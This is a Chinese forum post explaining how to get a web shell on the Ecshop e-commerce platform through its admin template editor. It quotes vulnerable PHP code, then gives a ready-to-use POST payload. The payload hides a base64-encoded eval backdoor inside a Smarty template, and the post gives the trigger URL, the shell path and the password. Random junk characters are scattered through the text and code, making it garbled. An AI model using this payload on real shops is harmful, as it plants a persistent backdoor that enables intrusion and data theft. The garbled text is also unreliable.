找回密码
 立即注册
查看: 2699|回复: 0
打印 上一主题 下一主题

Ecshop后台getshell

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-11 21:33:56 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
首先 ecshop用的是smarty 这样就可以通过它的fetch函数来执行模板  S3 h& j( b$ R: ]: B. ]

1 A) ^2 a1 F" B' d# z' g5 ?/ ~' X而模板里面可以执行他定义的php代码,这样只要可以写出模板 然后找到调用就可以拿到shell了' i# _) g! P0 b8 S0 J2 O" p
但是ecshop似乎不支持{php}{/php}这个标签来执行php代码$ C8 }, b8 [: L6 N8 c
admin/template.php
% H) i$ ^8 t4 P+ j( w& V8 _( n* }  s: O# E4 J
1 if ($_REQUEST['act'] == 'update_library') , m4 i* I: G) k# T7 I: r9 Z& _
: [2 H- I0 m+ V1 a" P
2   % m3 m$ ^% Q: h6 b' }; o

0 b; ~9 ~' s4 j* ?( g+ h3 {
, X( M0 O2 A6 c8 R) X, m$ V5 k& K0 Z! c; V0 t
4     check_authz_json('library_manage'); $ z0 \8 h/ r% H( o. C
/ C  B( V  S7 |$ }' B0 t  R
5   
$ q# r$ S6 r5 G6 x  k
# V+ l6 N+ A- ^6     $html = stripslashes(json_str_iconv($_POST['html'])); & |  N1 Q# f  S, {, B/ g! d
4 R9 \% Z1 D. Q, e; Q
7   
. ]6 Q9 O: y3 p- }& J9 b# Z- e) n1 d! a2 v* D  M
8     $lib_file = '../themes/' . $_CFG['template'] . '/library/' .$_POST['lib'] . '.lbi'; //模板文件 # E' d  [/ a( t1 }' P

2 j* h8 w6 I, c8 x# k9     i$ h4 w4 u6 f
. s9 @( r# _" A2 c
10     $lib_file = str_replace("0xa", '', $lib_file); // 过滤 0xa 非法字符
' y+ H+ q4 _, \1 r; C* N) w2 @0 h3 z6 l" Z
11   
% C7 w) K, U2 S0 v
( y1 k0 c( X2 {+ X' {12     $org_html = str_replace("\xEF\xBB\xBF", '',file_get_contents($lib_file)); / w3 ^" @# U7 B% E2 B
6 {; Y- C1 ~" p( O9 v( r
13   6 w3 {$ S8 L! }5 ^9 b

( i3 [! u: W4 P$ B' n1 L# u14     if (@file_exists($lib_file) === true && @file_put_contents($lib_file,$html))//写出
5 R& L3 X0 D4 y, C* Y7 c' _; r5 c, _3 P+ I( d7 T+ r; c
15     {
1 k- P7 k9 m  J3 o- |5 C
: F/ o6 l0 Y) [) `$ @6 g16         @file_put_contents('../temp/backup/library/' . $_CFG['template'] .'-' . $_POST['lib'] . '.lbi', $org_html);
3 m; y5 O% y; k1 ?  a! o7 I& H
3 B: a0 ^1 {# B, s: y0 ~, O8 ?6 _17         make_json_result('', $_LANG['update_lib_success']); 4 A1 D! ~; M# F

" N- ~! _8 d( p6 I2 |% I6 x18     } " Y* ^  O. ?9 R. |
2 [4 J4 h+ @) b& \' r9 u
19     else 5 Y( N. S( N3 b( [
9 \  o& S( f- s& C
20     {
: d' e: R! v8 Z- i8 Y
$ z7 e9 B6 e# H- d" y0 Q' `5 S21         make_json_error(sprintf($_LANG['update_lib_failed'], 'themes/' .$_CFG['template'] . '/library'));
# W- C( U% f$ N+ O& F
/ ?) O7 B9 b7 `0 `/ ?8 v( L' f22     }
- k4 I/ _) A; H
$ b$ f: J" D2 Q- h23 } * i" o* w- y  Y. Z) v  e2 ~
$ e6 x: x; I. G' G
那么找个比较方便调用了模板的文件
7 d2 m1 T. M2 I  ~index.php1 K4 J# j8 B, k
2 w: C& o( G. G% @% z. u
1 if ($act == 'cat_rec')
0 F1 u; [: ^( g5 G+ a1 p/ r- \7 ^' T1 E( I' H& y% F0 L6 H
2   
7 J) j" a. m) v  ~8 l& p0 ^- q; N& s! c. x
3 { , n# G% M+ ^$ e6 y# x

7 {" b" x) H, h5 x! u& c4   6 f& h% _, b0 ~  A- E
& L2 ~4 Q+ _# e  M6 V& G) U# }
5     $rec_array = array(1 => 'best', 2 => 'new', 3 => 'hot');
* J# G* m# ^0 V8 L( c8 L4 m
+ g% I" U( J  K% v! v6   4 T- y8 C5 x2 G; z& a1 N
# b# ~+ e+ ?3 {8 ~8 a2 t
7     $rec_type = !empty($_REQUEST['rec_type']) ?intval($_REQUEST['rec_type']) : '1';
% p" U2 c- d7 _* ~
* M2 r! x+ ]7 T6 ]/ ]7 t6 @. \8   
) U" m% U1 r) G. _: k1 G
( J2 T& o$ r4 J7 |; _; O9     $cat_id = !empty($_REQUEST['cid']) ? intval($_REQUEST['cid']) : '0'; : `+ M  d  q' Z& M5 ~

2 u8 f: K6 k0 P0 n3 t/ m10   / r) b1 p6 q" O2 L8 d/ G

: }+ ^: ~5 o7 p9 z& x/ ?11     include_once('includes/cls_json.php');
( a  n3 _4 S: t& P  q2 h- k0 A4 `/ s- Y/ b' D, X
12   , W& i) @4 j* |+ X# [4 M8 p4 Y
" [' i2 t' E4 g
13     $json = new JSON;
5 ^% [; y$ E8 A6 T0 j9 {5 m( c) D6 o4 T5 r( D9 [/ G
14   $ K" d0 d+ Q0 Q; r' H/ A: X
" G2 Q6 j3 _1 \
15     $result   = array('error' => 0, 'content' => '', 'type' => $rec_type,'cat_id' => $cat_id); % o% G! |2 i5 Q/ B' x) w0 V
$ _7 k! H- P. A8 U+ V" M
16   % W! R0 Q8 ]" h% w
0 i) J1 \" Q* Q
17     $children = get_children($cat_id);
# I0 c' t9 [( L( c) B2 U* B# ~& P) `3 r, t' i8 _6 `  V3 `
18   
7 ^  @3 f( ]$ Y8 Y( F& }
5 A" \7 T2 \; M" e" N( b$ t19     $smarty->assign($rec_array[$rec_type] . '_goods',      get_category_recommend_goods($rec_array[$rec_type], $children));    // 推荐商品
! d; N, [5 \5 Q/ V- h% J
8 t. b2 E0 y3 w, ^20   
9 m/ s- R. n+ [* u8 z; J, h3 J4 o; `: \  c
21     $smarty->assign('cat_rec_sign', 1);
% Q$ l3 g% \8 v2 B- v! D1 v/ Z% F
& |) X  i5 u8 U/ V/ X22   4 \! R9 [  c; v' o

" p0 n) B# Q8 p2 O, m8 T23     $result['content'] = $smarty->fetch('library/recommend_' .$rec_array[$rec_type] . '.lbi');//使用了模板文件 该模板文件为recommend_best ! _: [3 B( U% \

( |) l' c7 H9 [2 s2 q1 J7 h# r24   
5 {* P7 }$ r* t1 O
0 K/ [( J' R& h0 i5 J/ f, v25         echo 'library/recommend_' . $rec_array[$rec_type] . '.lbi'; # V( b* @6 ?% F9 `% u8 f; s; R
! p5 W7 E; g+ {" l+ H6 l+ i
26   
6 @+ J* z+ _& C% Z& A6 O4 x) T5 T  j- j; _% }- U4 u4 u
27         echo $rec_array[$rec_type];
# d) g% k& O5 n+ j; u9 f5 n8 Q8 |. S' [
- [4 D9 q: {- z3 c& u  i4 T28   
8 n6 H7 x1 M7 N, Z! u
" g6 D$ E9 h7 z8 S; z% M1 ^29     die($json->encode($result)); 6 g. [  i- V+ T, Z& j- O  O7 x$ f
- T4 O% y/ i/ d" M3 S0 E
30   5 S" U1 d/ n* g! Z  c

% t0 L- _7 k: e" F% n31 }
% T% z- ~1 Q; S/ j
( h" L+ M; Y1 c7 y( c那么就有利用方法了2 d+ t; @8 W0 r# r  O, A' U! o
post包到http://localhost/ec/admin/template.php?act=update_library
/ ?( |% }9 {  w& f" TPost内容:
7 A3 w  M: P- s) ~$ [2 M$ w( ?( Q6 Y

- D6 t; K6 r9 D7 h7 t# M4 r, c1 lib=recommend_best&html={iffputs(fopen(base64_decode(ZGVtby5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz5vaw))}16086{/if} , \) \- K* L9 [6 H$ \5 ?1 ]
& N, d2 o2 i8 H; k! @5 W
然后访问http://localhost/ec/index.php?act=cat_rec
2 R; r+ e4 ]0 _& [  D; B4 [, B& M6 u
shel地址:http://localhost/ec/demo.php
9 v9 X8 t0 r8 b密码c4 q7 m2 P3 }8 E. x
# z+ Z2 u, d' l
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表